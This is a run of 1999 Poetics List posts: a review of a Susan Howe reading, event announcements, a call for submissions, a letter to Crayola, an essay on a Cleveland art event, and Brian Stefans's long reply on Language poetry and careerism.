Over-long doesn't begin to describe Susan Howe's reading, quite disappointing to me, since I admire parts of 'The Europe of Trusts' and 'The Nonconformist's Memorial' very much, and I was keen to hear her. I knew from her Talisman interview and from some of her poetic texts that she has an H. P. Lovecraft-like literary-antiquarian 19th-C. bent that is to me the least interesting side of her poetics. That was the bent we got. She read what sounded like a big chunk from her new book, 'Peirce's Arrow', illustrated with slides. The slides were not there to serve her usual typographically complex texts, but were exclusively devoted to photos of C. S. Peirce (pronounced Purse, I must remind myself; why not Pears or Ponce?), his house, third wife, and many late notebook manuscript scribblings, which he produced in some inhuman volume. This wasn't a poetry reading for the most part; it was more like an intellectually juiced-up and lightly postmodernized A&E Biography show. Howe appears to be totally bonkers over this odd logician, but she didn't say a word about the philosophical content of his work, except for a few mentions of the word 'existential', which I assume was meant in the logical sense of 'existential quantification' and not Heidegger's 'existentiell'. The notebook pages contain cartoonish sketches of human heads, mostly male, obscure logical diagrams in his own notations that never caught on, apparently sometimes concerned with modal logic (that is, the logic of possibility and necessity), numerical patterns and calculations, and many pages of binary arithmetic--didn't the old coot have anything better to do with his time than practicing adding 1s and 0s? About 5 or 10 minutes into the reading I began to suspect that there was a lot of loose change rattling around in this Purse. Now if you want real philosophical poetry (and I do, for one), you can get it from Jacques Roubaud or Joan Retallack, for example, but it was missing here. (Roubaud has masterfully used those very notions of modern modal logic perhaps hinted at in Peirce's work in 'Quelque chose noir' and 'La pluralite des mondes de Lewis' to create an entirely unique poetry.) Howe's biographical prose (how much pastiche?) was spunky but also dry and unremarkable. She bravely tried to fit it into about 40 minutes, but it seemed to go on forever. I fervently hope she devotes her next New York reading to her poetry.

↑ Index

173. MAYHEW
demagoguery of tea
Mon 17 May 1999

I recently started a company called the Demagoguery of Tea. The point is to market various herbal, black, and greeen teas to a fairly upscale public by associating each variety of tea with a particular desire, fear, or state of mind. So far I have "Tea of Indolent Self-Satisfaction," "Passive-Agressive Librarian Tea," "Tea of Frantic Self-Improvement," "Tea of Ruthless Career Advancement," and "Tea of Mediocrity." Unfortunately my "Tea of Cynicism" and "Tea of Quiet Desperation" are not selling too well.

Jonathan Mayhew
[redacted]

_____

↑ Index

174. Miriam Nichols
Call for new writing/West Coast Line
Mon 17 May 1999

Dear List members, Since this message went out the first time under a "returned" subject heading, I'd like to run it again. Please consider us for new writing. Miriam Nichols
>
>Hi!
>As some of you might know, Roy Miki, editor of West Coast Line, has decided to step down after running the journal and its predecessor, Line, for 17 years. Our managing editor as well is moving to Ontario at the end of April, so we are in the process of a changeover. I have been asked to take on the job of editor and our new ME will be Jennifer Conroy. We are looking for submissions for the fall issue, and for our special millenial issue in spring 2000. The address for the journal will remain the same. I will take email inquiries at home, on the above address until mid-May, when Jennifer should be set up in our SFU office with her own email account. I will post that email address when we've got one for her. Here are the calls. Miriam Nichols

>
>
>1. For Fall 1999, new writing or visual art reproducible in black and white for an issue featuring a section on work from the Women and Texts conference at Leeds in 1997. The section from W&T includes essays on hybridity and nomadism from a feminist point of view. However, we're not trying for tight thematic unity, nor is it necessary that all contributors be women in this issue.
>
>2. For Spring 2000, a more formal "call":
>
>ReZonings: an issue for the millenium
>
>In celebration of the millenium, West Coast Line is planning a special issue on the re-conceptualizing of borders of all kinds. Postmodern, post-colonial, and cultural studies have troubled institutionalized definitions of subjectivity, ethnicity, gender, sex, race, and class; we invite contributors to add to the list:
>
>- medical technologies--prosthetic, reproductive, cosmetic--and generational difference
>- medicine and the borders of life
>- aging and/or retirement considered from non-medical perspectives (arts, philosophy, social sciences, studies in media and technology, or?)
>- mutual encroachments of the human, animal, machine, or?
>- re-thinking, re-drawing, re(in)stating, or dissolving quasi-natural borders--geographical, temporal, linguistic, cultural, economic
>- cartoon life or life-as-cartoon--the implications of the growing popularity of adult cartoons or the cartoon-like behaviour of action heros in popular dramas and pop stars in music videos
>- any of the above considered as a deterritorialization of death
>- homelessness--as nomadology, as a class issue, as post-nationalism, as object of legal or political regulation (Deleuze to squeegee kids?)

>- the local--how might it be re-thought in the context of globalization?
>
>New writing and visual art, reproducible in black and white, are welcome. Please submit a brief note of intention and description of your proposed submission (150 words) by 30 July 1999. Final submissions are due 30 November 1999.
>
>West Coast Line
>2027 East Academic Annex, Simon Fraser University >Burnaby, B.C.
>V5A 1S6
>

↑ Index

175. Dodie Bellamy
Scalapino/Warsh at SPT
Mon 17 May 1999

Small Press Traffic presents

Leslie Scalapino
Lewis Warsh

Friday, May 21, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Author of numerous books of poetry, prose, drama, and criticism, Leslie Scalapino's recent publications include Green and Black: Selected Writings (Talisman House, 1996) and a collaboration with Lyn Hejinian, Sight (Edge, 1999). She edits and publishes O Books. Her new book is New Time (Wesleyan University Press), an impressionistic diary that outlines and condenses her discovery of a new kind of time in Japan, Berkeley and Oakland. "This crystalline epic may be Scalapino's most 'accessible' book yet," writes Ron Silliman, "but its surfaces perpetually peel back to reveal a further that could never have existed before." Scalapino is, of course, one of America's greatest poets and a San Francisco landmark mighty and startling as the great Bay Bridge.

Lewis Warsh's involvement in the San Francisco poetry scene dates from the time he was a teenager, when he sat at Jack Spicer's feet at Aquatic Park and jousted with him at Gino & Carlo's bar in North Beach. In New York he became an important figure in the so-called "Second Generation" of New York School poets, editing The World with Anne Waldman and United Artists Books with Bernadette Mayer. Lewis Warsh is the author of two novels, A Free Man and Agnes & Sally, a book of stories, Money Under the Table, and numerous books of poems, including Information from the Surface of Venus and Avenue of Escape. It has been too long since we in San Francisco have heard him speak out to us, for his is a writing that is uniquely inventful, romantic and satiric, striking every musical note, every percussive event known to God, Satan and the free radical animals of the earth.

Small Press Traffic Literary Arts Center
at New College
766 Valencia Street
San Francisco, CA 94110
415/[redacted]

Small Press Traffic presents

Leslie Scalapino

Lewis Warsh

Friday, May 21, 7:30 p.m.

New College Theater

777 Valencia Street

$5

Author of numerous books of poetry, prose, drama, and criticism, Leslie Scalapino's recent publications include Green and Black: Selected Writings (Talisman House, 1996) and a collaboration with Lyn Hejinian, Sight (Edge, 1999). She edits and publishes O Books. Her new book is New Time (Wesleyan University Press), an impressionistic diary that outlines and condenses her discovery of a new kind of time in Japan, Berkeley and Oakland. "This crystalline epic may be Scalapino's most 'accessible' book yet," writes Ron Silliman, "but its surfaces perpetually peel back to reveal a further that could never have existed before." Scalapino is, of course, one of America's greatest poets and a San Francisco landmark mighty and startling as the great Bay Bridge.

Lewis Warsh's involvement in the San Francisco poetry scene dates from the time he was a teenager, when he sat at Jack Spicer's feet at Aquatic Park and jousted with him at Gino & Carlo's bar in North Beach. In New York he became an important figure in the so-called "Second Generation" of New York School poets, editing The World with Anne Waldman and United Artists Books with Bernadette Mayer. Lewis Warsh is the author of two novels, A Free Man and

Agnes & Sally, a book of stories, Money Under the Table, and numerous books of poems, including Information from the Surface of Venus and Avenue of Escape. It has been too long since we in San Francisco have heard him speak out to us, for his is a writing that is uniquely inventful, romantic and satiric, striking every musical note, every percussive event known to God, Satan and the free radical animals of the earth.

Small Press Traffic Literary Arts Center

at New College

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

↑ Index

176. Chris Piuma

new flim! Sondheim, Upton, Henry, Piuma, LeVine eat breakfast merrily.

Mon 17 May 1999

...flim: a free page...
(short, quirky writing)

In our new flim, ALAN SONDHEIM is a waffle called "my". The waffle says, "Her beautiful legs were visible on the sofa thoro's a noodle in my skull..." On the waffle, LAWRENCE UPTON is the butter, and we begin to see the tableau as a "still life". The butter slips out words like "delphinium" and "spoil" and "shrub". RON HENRY gushes syrup, and discusses what's happening "today on cable": "A 1984 film about breakdancing..." Orange juice arrives in the form of CHRIS PIUMA, who reports on "dick welluwould", "who has plastered pearls on temptress Liz Taytor and fuzzynaveled prop swinger Jack Michelson". And a small glass of milk named DONNA LeVINE completes our balanced breakfast with her "target yo-yo". "(It pissed off the members of the band Kiss.)"

Also, one talented winner shall receive a copy of "Timothy McSweeney's Blues/Jazz Odyssey", a very nice magazine.

Come! Come now! Come to http://www.flim.com and read flim -- the best way to start your day.

--

flim: a free page is always scanning the neighbordhood looking for submissions. Any original piece of writing (in paragraphs, not verse) from 50-600 words will be considered, the quirkier the better. Previous issues have included jokes, recipes, prose poems, reviews, parodies, rewritings of older texts, randomly splayed bits of punctuation, and translations of articles from previous issues. flim is edited by Chris Piuma [[redacted]]. It is available in both print and online editions.

-- Chris Piuma, etc. http://www.flim.com Got a creative website? Advertise on flim - free! flim.com/flim/advert.html "A female impersonator demands payment after a party..."

↑ Index

177. Poetics List

onomastic anathema / Zimmerman

Mon 17 May 1999

This came to the administrative account. Chris

From: "Daniel Zimmerman" <[redacted]>
Subject: onomastic anathema
Date: 5/16/99 1:34 PM -0700

As you may have heard, the Crayola company has decided to rename its color "Indian Rad" because it might offend Native Americans, even though the term "Indian" refers to the country from which the pigment derives. I sent the following letter to Crayola, and some weeks later received the note which follows it.

Letter to Crayola, 3.10.99

I've used and loved your products for over 50 years, and must register my disappointment with your decision to rename Indian Red because you would apparently rather make a concession to ignorance than educate people about the origins of colors, your stock in trade. You didn't change the name of the color Red back in the 50s because it might have made some moron think it referred to Communists, did you? How about renaming Black to mollify whatever hallucinating African-American might imagine it constitutes a personal reference? What about Purple or Violet or Lavender? Jerry Falwell might start a petition! Violet also sounds a lot like Violent -- wouldn't want kids to think about that, would you? Oh: do you plan to remove the name Indian Red but keep the name White? Doesn't seem quite fair, does it? And Gray! What a slur upon our distinguished senior citizens! Seems to me you need a color called Backbone.

Best,
Daniel Zimmerman

Dear CRAYOLA Consumer,

We appreciate your comments regarding the renaming of the Crayola indian red crayon color. We value all consumer opinions we receive and will share them with product management.

On behalf of the company, thank you for taking the time to express your comments. I hope you will continue to be one of our most valued customers.

Sincerely,

BINNEY & SMITH INC.

Linda Arnold
Consumer Affairs Representative

What do you think of this as an example of American Social Identity?

Dan

↑ Index

178. Poetics List
/ Mark Peters
Mon 17 May 1999

Mark Peters asked me to forward this. Chris

From:"Mark Peters" <[redacted]>
Subject: Mark Peters Homepage
Date: 5/14/99 11:20 AM +0000

To whom it may concern--

I, who you may know as the editor of Deluxe Rubber Chicken, and not a bad juggler (5 balls), have made a homepage for my writing:

http://writing.upenn.edu/~petersm/mark/

I'd be delighted to hear what anybody thinks about the stuff.

Mark Peters

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

179. George Bowering
Re: What does Mr. Pound believe?
Mon 17 May 1999

> I can't remember where this quote from T.S. Eliot on Pound occurs. I reread the "His Style and Metrics" essay and the introduction to the Literary Essays, but no luck, and the Carpenter bio is too long, with a terrific but unwieldy index. I need it for a paper I'm working on.
>
> Thanks!

It's a title, isnt it?

George Bowering.

,

fax: [redacted]

↑ Index

180. Kevin Magee
Re: CHILD'SPLAY
Mon 17 May 1999

PIGLET AND POOH

These two now serve as model and allegory.
They bear the brunt of producing a spectacle.
The discharge between language and action.
An exceptional act within the master narrative mimed on their bodies. They pass over into the act, making the transition to action, moving to an inscription producing real change. Transformation in the Real of the relations of production. Make it the object of a transmission.
Annul the force trapped in the past, everything other than present.
Go back to the act that split things up and and and CUT CUT CUT

Two who were alike just one more night, electrical failure. Miners on strike.
The greatest norms have also all the old afflictions.

Affiliations: fictive interdependence carrying out in the Imaginary roles of extras, figures becoming possible at the present time --anticipate the culture to come--not now, not utopia, anachronism has a specific power. The cultural function of the anomaly not situated in the symbolic order in view of the impossible configurations of a return to childhood. Embody this group of anomalies showing the fissures, the fault lines the two of them are a mirroring, a double-toy. In the identification lived out, the gamut of posturing and display, exhibition, meta-imago and orchestra. The stadium. The rows of onlookers with their distracted eyes. Expressive stagings repeat the scenes they have in common.

The body as intermediary, prop, passage.
The one viewing the other cries out in pain.
Setting in motion the "M" manuscript, formulate the fantasy the real face. Falsified? False?

The passage from public to private.
Myth floating around and space is made and remade.
Children play in public games not made to be seen.
The fusion of child's play with no one knows.

Silence is a serious sign. A massacre, or feast day without an anniversary.
A path you exit by to come to somewhere you've never been.
Repetitive words. Idea come to mind.

Staves they call them.
Spirit and cellular memories.
Here are objects with hidden powers.
Here are the guides that will come.

↑ Index

181. Kevin Magee

Re: Living Space/Artmaking/Audiences

Mon 17 May 1999

In the way of an event note I'd like to try to contribute a remark or two around the exchange developing around the essay in Rhizome, starting not from this or that kind of poetry, but by gesturing towards another kind of space and neighborhood and environment where art might be written and painted and and and.

Saturday evening May 15 here in Cleveland 25 mostly residents of a renovated elementary school building built at the turn of the century a few blocks away from where Hart Crane went to high school showed their art and sculpture, read poetry, danced to African drumming, listened to electronic music and mingled with a turn-out of some 100-125 people in and out across 4-5 hours. We went through 50 bottles of wine and a couple of tables of party food, putting on an event that cost each of the 25 participants 25 dollars plus 250 dollars put up by our landlord.

Maybe the neighborhood was part of the draw, I don't know. Everyone was surprised by the response. A year ago in the same neighborhood ATF and FBI agents carried out an operation they called Operation Gansta Wrap, a drug bust reported on by a local news station a block away at my bus stop which called the area "the heart of the Cleveland drug trade." As I watched on the evening news, I could see the newsman was visibly nervous, and didn't seem to know where he was. A visitor from another world.

My sense of the neighborhood that I've called home for three years oscillates between two extreme but very real images: four teenage girls dancing in the street at 2:00 a.m. and chanting "c'mon and gitcha red hots" under the floodlight of a cop chopper hovering above them, and a cracked-out or drunk or probably both woman staggering down the street past my bus stop one afternoon pounding her naked breasts and screaming obscenities to the air. The faces on the people around the bus stop and the cornerstore looking on were blank, expressionless, but far from thoughtless.

But neither is it every kid with a gun, as Cauleen Smith so eloquently said about West Oakland when she was in Cleveland promoting her first film, and thinking about the Hodge School and what it accomplished with its recent event along with thinking about what it might represent in potentia, prompts a few notes that may or may not be related to some of the concerns apparently raised in Rhizome.

One, the only thing we had in common was the fact that, apart from several folks in art support group, we live in the same building, and the show was an introduction for many of us to each others' work. There was no problem with who was to be invited or not, though some residents decided to keep to themselves. A kind of built-in differentness was the result, even eclecticness. There was school-trained art alongside folk art, spoken word alongside the literary, African drums alongside electronics. Nobody here has whatever a national reputation is supposed to represent, and there were as many "beginners," people who have been painting and writing for only a year or so, alongside people who have been doing whatever they've been doing for years.

Two, the audience was so different it's impossible to characterize. People who follow the gallery scene, a few writers, some musicians, graphic artists, and a lot (a lot) of young people. I doubt if this audience is any different than any other large group of people in any medium to large-sized city in the U.S. As far as writing expectations go, obviously the spoken word/performance thing is something of an expectation, but the three poems I read were anything but that, and I didn't look up from my page once. The most negative reaction I got was from a musician I'd met a few times before, who said "I've got to tell you, you're stuff is impossibly abstruse," and then later in the evening came back at me with the term, "logokinesis" to describe what he thought about my poems. Since I haven't read in public for three years, this take by a so-called "unliterary" ear was important to hear. An unexpected, meaningful response coming from nowhere.

Three, or somewhere. What is local? Is it simply regional? In my worst moments the institutions which promote a national culture appear like aircraft carriers for Washington with the long range guns from either Neidecker or the Foggy Dew, depending on who you listen to, patrolling the waters and assimilating every raw impulse from below into a market value. The potential for a radical politics and artmaking coinciding getting sacrificed as a result, remembering that what happened in Russian a century ago was originally intensely fractured and decentralized, All Power to the Soviets, etc., and Spicer's 'What is happening in a 70 mile radius' comes to mind as a related critique of the institutions of a so-called national culture. Again, this is a worst moment thought tempered by my lack of experience, having only read my work in public five times in San Francisco 1991-95 and once in New Jersey at the New Freedoms conference in 1994. Representing the work I've gotten done here, 1000 pages or so of a manuscript called Works and Days, xeroxed on to cardstock across five large spiral notebooks and set out on a table under a laminated poster of Jack Spicer from the 86 SF conference, were a continued object of attention from curious viewers. I put them out there as a kind of example of writtenness to counter spoken word performance assumptions.

Four, what could be done in dirtcheap loftspaces like this in other cities, painters and dancers and musicians and writers and others living in close proximity, the face-to-face real life thing supplementing the radicality of web subjectivity, and especially if doing what isn't being done here, like forming a cooperative, holding workshops, regular shows, running a press--I'm sure there's precedents in places like New York and San Francisco and elsewhere in the 60s that might resemble this possibility, especially if such areas or zones were organized in inner city areas that more and more are beginning to resemble the closed district for the super-exploitation of labor which according to administrative documents quoted in the film, Fotomator, were among the first plans for the Warsaw ghetto.

Because it isn't every kid with a gun. Though it's a sign of the times and a good one I think that C-Town Productions is showing May 22-23 at 8 p.m. at the Cleveland Playhouse a performance called E. 79th STREET, written and directed by F.A. Taylor, choreography by Sabrina C. Gregory, "The Hough Riots Brought Back To Life Through Poetry, Dance and Drama." The Hodge School is located between E. 74th and 76th Streets.

Here's a sample of seven of the 25 contributors' notes from the event program to pass on as a kind of sign for (local?) (regional?) art and performance.

ISHMAEL ANKHENATON. Began classical ballet at age 9, studied at Ravel Studio of Ballet and Jazz; the ODU Ballet of Virginia; the Conservatory of Classical Dance; Dance Theater of Harlem; Alvin Alley American Dance Center and Djoniba Dance Company. He is a former member of the Imani African-American Dance Company and has studied dance with Chuck Davis, Joan Peters, Alan Onickel, Maxine and Marle Basse.

LISA CHENG. Draws with mixed media. She graduated from The Cooper Union in NYC with a BFA in Studio Art and holds an MA in Art History from Oberlin College. She has taught children art at the Cleveland Museum of Art and the Cleveland Institute of Art.

ROMMELL FRANKLIN. Rommell Franklin A.K.A. Brother Kenyatta is a drum maker, African drumming teacher, and percussionist of West African drumming. He teaches, performs and makes drums of Guinea, Mali, Liberia and other African countries. He has performed with African drum and dance groups such as Iroko Drum and Dance Society, Dance Africa Dance, Imani African-American Dance Co., and Djembefolalu.

GREGORY HOLMES. This work was done solely in response to the myriad of emotions and situations that accompanies a diagnosis of AIDS in 1988. More than a decade later, this impact and the life altering changes it brought continue; it remains an issue without resolution.

DESHAWN (CASIO) JONES is a talented local Hip-Hop artist who at age eleven began using the beat box to compose his own works. He listened extensively to the Fat Boys, Run-D.M.C., KSR One, Kool-Moe Dee and L.L. Cool Jay. He has developed his own style and never uses anyone else's. He is very thankful to God for his talent and gift to help the young seeds (children) of today by giving them some positive energy to soak into their brains.

MICHAELANGELO LOVELACE. Cleveland born artist who explores concerns about cultural, racial, and economic tensions in the inner-city. The paintings take a realistic look at what it's really like growing up in a community that is sometimes looked upon as a war-zone. A community where anything can happen at any time. The paintings deal with the crime, drugs, street corner drunks, sex-hustlers and many other day to day happenings in the hood. The technique of his work is acrylic on textured canvas. Vibrant, childlike imagery is reminiscent of the work of both folk art and outsider art.

ALEXIS THYNNE. Interest in different cultures has taken her across the U.S. and also to the Central African Republic and Cameroon, where she spent two years teaching secondary level biology and one year teaching elementary level environmental education. Her love of art was rediscovered when she began using murals as a teaching aid for environmental education. Ever since, Alexis has been exploring her own experiences through mixed media.

In closing, some notes jotted down during an impromptu talk by Brother Kenyatta's group:

"you have to make the drum speak
if you really listen you can hear the voices this helps amplify the sound

sometimes in Africa
when the sun hits the metal piece you can't get that in Cleveland

you got them three main sounds bass tom-tom and the snare you know what polyrhythm is right?

how to fit in how to move off they make a big ceremony everybody get together

the drum took me to a different level
I can make this Bar-B-Q can into a drum your head will be in a zone your whole life trying to put the respect back into these instruments just like it was a violin what's the long thing--a "cello"

the drum is a spiritual instrument different energy levels that may come into the circle my teacher was from Liberia
"this is a goat skin"

that's what they're doing they're like talking you see in West Africa right next to the Ivory Coast they play this rhythm to their crops they walking 124 miles or something

I play Brazilian. I play Cuban.
there's so many percussions you can learn everyone from the village in Guinea they play this rhythm

all you got to do is say AYEAYH your soul is telling you to go join go gather for the harvest

we go crops. we go drum."

↑ Index

182. Brian Stefans
Response to Standard Schaefer
Tue 18 May 1999

Dear Standard,

I think you are doing yourself and your ideas a tremendous disservice by focussing on this issue of careerism which your statements have not demonstrated to be a very well-considered, historically-conscious position. It seems to me quite obvious, for example, that very few of the Language poets had any idea that their ideas would obtain for them the degree of academic acceptance that they have, in the past decade, received, and if you would like to argue this point, I would ask you to return to the numerous staple-bound, yellowing and otherwise low-tech and low-print-run publications that were circulating in the 70s and 80s when they were first looking at each other's poetry and seeing a common set of interests developing, and cite those instances where you think 1) any of the those poets thought they were writing in a style that would eventually become something like the norm in academic studies, or maybe how their writing styles and ideas actually gelled with what was happening in academic studies at the time, 2) where you think that this "careerism" seriously or even moderately compromised the general goal, aura or collective effort at investigation (as opposed to exploitation) that is, I think, one of the nobler aims of a group effort in poetics, the uncovering of lost ideas or perhaps the refocussing or "make it new" of dilapidated ones, 3) how many of the poets who were writing at this time who are not of the "language school" were actually resisting assimilation into what, to you apparently, was a very obvious upward track into the academe, which is to say, would a poet working in primarily "speech based" poetics at the time (some of whom were professors) be considered resistant to an obvious "spectre haunting America poetry" or were they working in a tradition which, to some, had itself run its course and was not likely to produce anything more interesting without a degree of revamping.

In terms of this last point, I would relate that in talking to several New York poets who were around at the time and who were not part of the "language" thing -- indeed, being excluded from the publication of that name and being quite miffed by this fact -- still are far more generous to what happened with the magazine and the "movement" than many of the poets of my age or slightly younger, understanding that at a basic level what those people were up to was something quite different. Which is to say, these poets who were there at the time were well aware of these several factors that I allude to above, that it was really a "grassroots" kind of thing that didn't have a Marjorie Perloff or Hank Lazar (the mile-long shelf of critics raising the LangPos to the lofty height of canonicity) to give it the sort of guarantee that you seem to be believe -- again, I challenge you to find where this assurance is -- was there to push on their efforts. There was very little money circulating in that community for publications of any nature, that the lifestyles of these poets were often at least as radically "outside" as the more standard boho lifestyle of a Lower East Side poet (and they mostly lived in the Lower East Side, anyway), blah blah blah. Before "language," all of these poets more or less did the same thing, went to see music, art, read at St. Mark's and went to the readings, commented, complained, wondered if Olson was what he was cracked up to be, etc. (I would note that despite what people think of the New York poetry scene, the crowds mix here quite a bit and continue to do so, the real lines being present only in the minds of those who seem to need them to get by.)

I would suggest, if we want to talk about the "co-opting of the arts by institutions," that your own method of publishing your magazine plays more into the basic method of a fast-track to institutionalization than the publishing method of the Language poets, which, again, was very cheap, community-based, spontaneous, hard to find "closure" in, etc. A new issue of Rhizome -- and I am not criticizing you for publishing it, I'm just asking you to put it's parameters under the "socratic light" in a way that I would ask you to put the LangPos publications under the same light, and tell me which is more "radical" -- arrives on my doorstep from an anonymous publisher to whom I had sent a check in much the same way that Art in America would (were I to subsribe to it) or October, etc.

Here are some quotes from your post and responses:

"What I was trying to contend in my essay is that "radical artfice" and "indeterminacy" often coincide with a poetic practice that looks an awful lot like a struggle between academics and their discursive efforts to control the determination of good poetry."

-- You fail to establish this point in your essay, but as I don't have this with me I can't argue with that text. But I would like to ask where you find Charles Bernstein, for instance, talking about "good poetry," in those very terms since you obviously are very happy with taking other terms of his out of context. I would also like to argue that Charles would not make the mistake that you are making in your comments here, as he goes to great lengths to establish any sort of new terminology with a wealth of often very rich material, whether it be Veronca Forrest-Thomson (whom I would suggest you read before deciding that "radical artifice" and "emotion" are as incompatible as you state) to Langston Hughes. This is an effort to show exactly what he is talking about "looks like." You might want to illustrate, also, which "struggle" you are talking about, perhaps a lengthy quote from one such struggle, and compare this to, say, one of these poems you are talking about. As a final point, I would add that a comparison with Pound's "discursive efforts to control the determination of good poetry" probably resembled the mainstream and academic effort of his time to make these very same value judgements, though in form rather than in content or even style of rhetoric, than Charles' do his own mainstream contemporaries.

"In concrete terms, this means that we who believe that radical politics is at least possible cannot mistake the act of simply writing vague, fragmented, ambiguous etc poems with the changing of the business of poetry."

-- Yes, you cannot, but there are many other mistakes that can be made, such as that of an emotionalism unmodified by recourse to the data at hand.

"The business of poetry is all the various devices, contraptions which do the actually judging of poetry and that lead to a belief that the only important writers are those who are being written on (cf. the writers of dissertations)."

-- One thing I would mention, again looking at this Pound / Bernstein dichotomy, is that Bernstein has struggled to come up with a critical apparatus with which to guage the "quality" of poetry which is decentralized, open to anomaly, not focused on the racial or gender make-up of the group with which he is most associated, non-canonical in the sense that many of the poets he writes about were not "universal" writers in the sense of Goethe or, closer to home, Frost, etc. While there are many ways to argue with his essays -- and I have several friends whom you would consider "stooges" (I think you use this word twice in your essay) of the Language Poets who have taken essays such as "Poetics of the Americas" to task -- the essential contours of the project are very admirable and deserve very close attention, and the method, which relies on incredible amounts of research, thought as to the context in which the statements will appear, etc. not to mention focusing _on_ that context, which indeed is often an academic context -- who has been a more strong and legitimate critic of the practices of the academy (which, despite our coolness in pride in being "non-academic" and "street-wise" is a major cultural institution which, unless you want to throw it out completely, is worth attempting to review and rebuild) than Charles Bernstein? I'm sure there are dozens of people who are willing to claim that it's "ruining poetry," blah blah, and that Charles is just another cog, but there has been a subtle shift in the attentions of his essays that has been toward a consideration of that very institution to which he belongs -- a very pointed, angry, to many annoying, specific, meaningful, researched, criticism which, if anything, illustrates the integrity of his project. That is, he is not in denial that he is part of an institution of which he is highly critical, and in fact may find abhorrent (though I shouldn't advertise this point, he would be the first one to dissuade you from attending the Buffalo program if he didn't think it was worth your time). Well, I won't go on here, unless this really bugs you.

"What I commend Jeff Clark for in my essay applies to Garrett Caples,
Martin Corless Smith, Cathy Wagner, Tracy
Grinnel, Emily Grossman, Brian Lucas and other "non-allied" poets."

-- They won't be much longer, if you or anyone else decides to group them that way. The "Non-allied Poets" will be the subject of Marjorie Perloff 2010's famous book, the "Poetics of the (oops) Decentralized."

"I commend these poets' refusal to use theory as a way of justifying their own work as either socially relevant or "radical" or even "progressive" or even necessary. I also commend them for not falling into the (fake) hermeticism of the mainstream. A refusal to play poetry for tenure, promotion, etc may be the most politically effective gesture yet because as along as poetry resembles business, some way to join the firm or succeed in school, we cannot have "radical" poetries."

-- But the turn has to be made to suggest how these poetries are "radical" apart from their apparent break with the fake, in your terms, radicalism of the previous generation. In other words, let's find positive terms rather than negative ones, and the "challenge round" could be: let's find positive terms for these poets' poetics without being Ezra Pound, i.e. finding a tradition for them to be in the line of defending. I don't find anything radical about the poetries of these writers, but I am more than willing to be convinced that they are "radical" -- but then again, they certainly don't have to be, either, for me to like them, as I read all kinds of stuff that's politically luke-warm and like it bundles. Consequently, it's very depressing to me to think that this is the most "politically effective gesture yet" since, well, that's a pretty narrow sense of politics. I wouldn't be able to explain _that_ to my mother.

"I commend their humility and I believe that it will go along way farther to counteracting the self-aggrandizing, self-promotional carreerist tendencies that have arrisen out of an american poetic-theoretical nexus associated with "collapsed subjectivity". The decentered poem does nothing, but when it is consecrated by a host of Hank Lazers, Marjorie Perloffs, and so forth a very real subjectivitiy is made: the celebrity poet."

-- I'm sure they are very nice people, and there are, without a doubt, a few "self-aggrandizing" poets of the Language ilk whose purported interests in collectivity and objective, informed consideration of cultural politics, etc., runs counter to the obviously (not necessarily masculinist but certainly mostly) pride in being as learned as they are, and being able to muscle through the most abstract conversation about issues that, in the end, are pretty dead as soon as they hit air. I could tell you a few stories. But there just aren't nearly as many as statements like the above would suggest, and, again, I am not sure why we choose to criticize poets who have done the kind of reading that their ideas deserve in order to make them fuller, more informed, etc. As Pound himself would write, do we commend a musician for bragging that he/she does not know how to play Mozart? (Yes, Paul McCartney never took singing lessons, hurrah.) It's also a terrible reduction, again, to think that "collapsed subjectivity" has been the primary modus-operandi of the recent American poetics, especially since you suggest, above, that "radical artifice" is the main axis point -- you like to work in scare quotes, with interchangeable targets. I think many of us are not nearly as oppressed by the catch phrases.

"One of the most important points Perloff makes in POETICS OF INDETERIMINACY is, if I recall, in the chapter on Stein where she discusses the difference between indeterminacy and ambiguity. There her formalism is at its finest: she shows in detail what made Stein great and what her imitators were not too clear about."

-- Please elaborate on this binary. Despite what you might think, I agree with you that cartloads of writing has been produced out of a very vague, un-aesthetic (I mean non-self critical in terms of whether the art at hand is really "working") sense of praxis, and that, in bulk, it is likely to turn off anyone to what we call "postmodern" or even contemporary poetry. On the other hand, when I approach this work and my teeth start to gnash, I have that little line of Bob Dylan's floating around in the back of my head -- and if I could sing it the way he does right here I would -- "Don't crticize what you don't understand." And so I try to understand, and gnash later. This language of "imitators" is very Poundian, but so again I ask you to look at these ideas -- innovation, imitation, originality, etc. -- divorced from your obvious aesthetic biases and see if they really work, or are even necessary. "Imitation" has a certain "radical" (a word I rarely) potential which, well, I am investigating.

"It is in an interesting time to consider whether or not a writer should possess a strong ego and whether or not the language school's post-humanism was every anything but the proliferation of the ego by new means, in new modes."

-- This is any easy one to answer: yes. Of course, but from there, let's see what these particular egos have managed to produce, what are the contours of the work, how to they operate socially, when and where has the ego been sacrificed for something that could be called (for lack of a better word) "constructivist," how is the ego played off of this construction, is it really as closed and negating an ego as we at first feel, is it charmless and sterile, etc.

I think that your essay, and this particular post, are part of a trend that I sense very strongly write now in poets who are, say, generally within my age range, some older some younger (so that would be mid-twenties to mid-thirties) who are prone to making very over-arching, "emotional" (most more often hysterical) statements about how the Languae Poets have completely subtracted a certain variable -- "emotion" -- from the poetic equation in America. I would suggest two quick things to read, Max Weber's Protestant Ethic and the Spirit of Capitalism for an idea of where "our" sense of emotion has gone -- it's gone quite far, but far away, I think, such that now we don't really know how rich "emotion" can be, or how complicated -- but also Charles' exchange with Louis Simpson in one of those books that Lazar published a while back, an exchange that reappears, I think, in the Politics of Poetic Form, in which his ideas on "emotion" are most misunderstood and most strongly stated. I certainly don't think it's wrong to take CB up on his ideas -- that's what they're there for, in fact, and few welcome strong criticism of his ideas like he does -- but the "ambiguous, not too clear" criticism the likes of which appear in your essay are none to productive.

Well, I could go on, but, luckily perhaps, am out of time.

Sincerely,
Brian

↑ Index

183. Pierre Joris
Manifesto&a Performance
Tue 18 May 1999

FOR THOSE IN THE ALBANY, NY AREA:

Thursday May 20 - 8pm
At
The LOFT
40 Broadway, Albany NY

MANIFESTO&A

A Multimedia Performance
By
Pierre Joris &
Nicole Peyrafitte
With

jil hanifan,
Violin

FOR THOSE IN THE ALBANY, NY AREA:

Thursday May 20 - 8pm
At
The LOFT
40 Broadway, Albany NY

MANIFESTO&A

A Multimedia Performance
By
Pierre Joris &
Nicole Peyrafitte
With
jil hanifan,
Violin

Suggested donation $5

Pierre Joris & Nicole Peyrafitte's MANIFESTO&A performance combines poetry, voice, electronically displayed visuals, and violin improvisations by jil hanifan.

Originally based on Pierre Joris' NOMAD MANIFESTO which states:
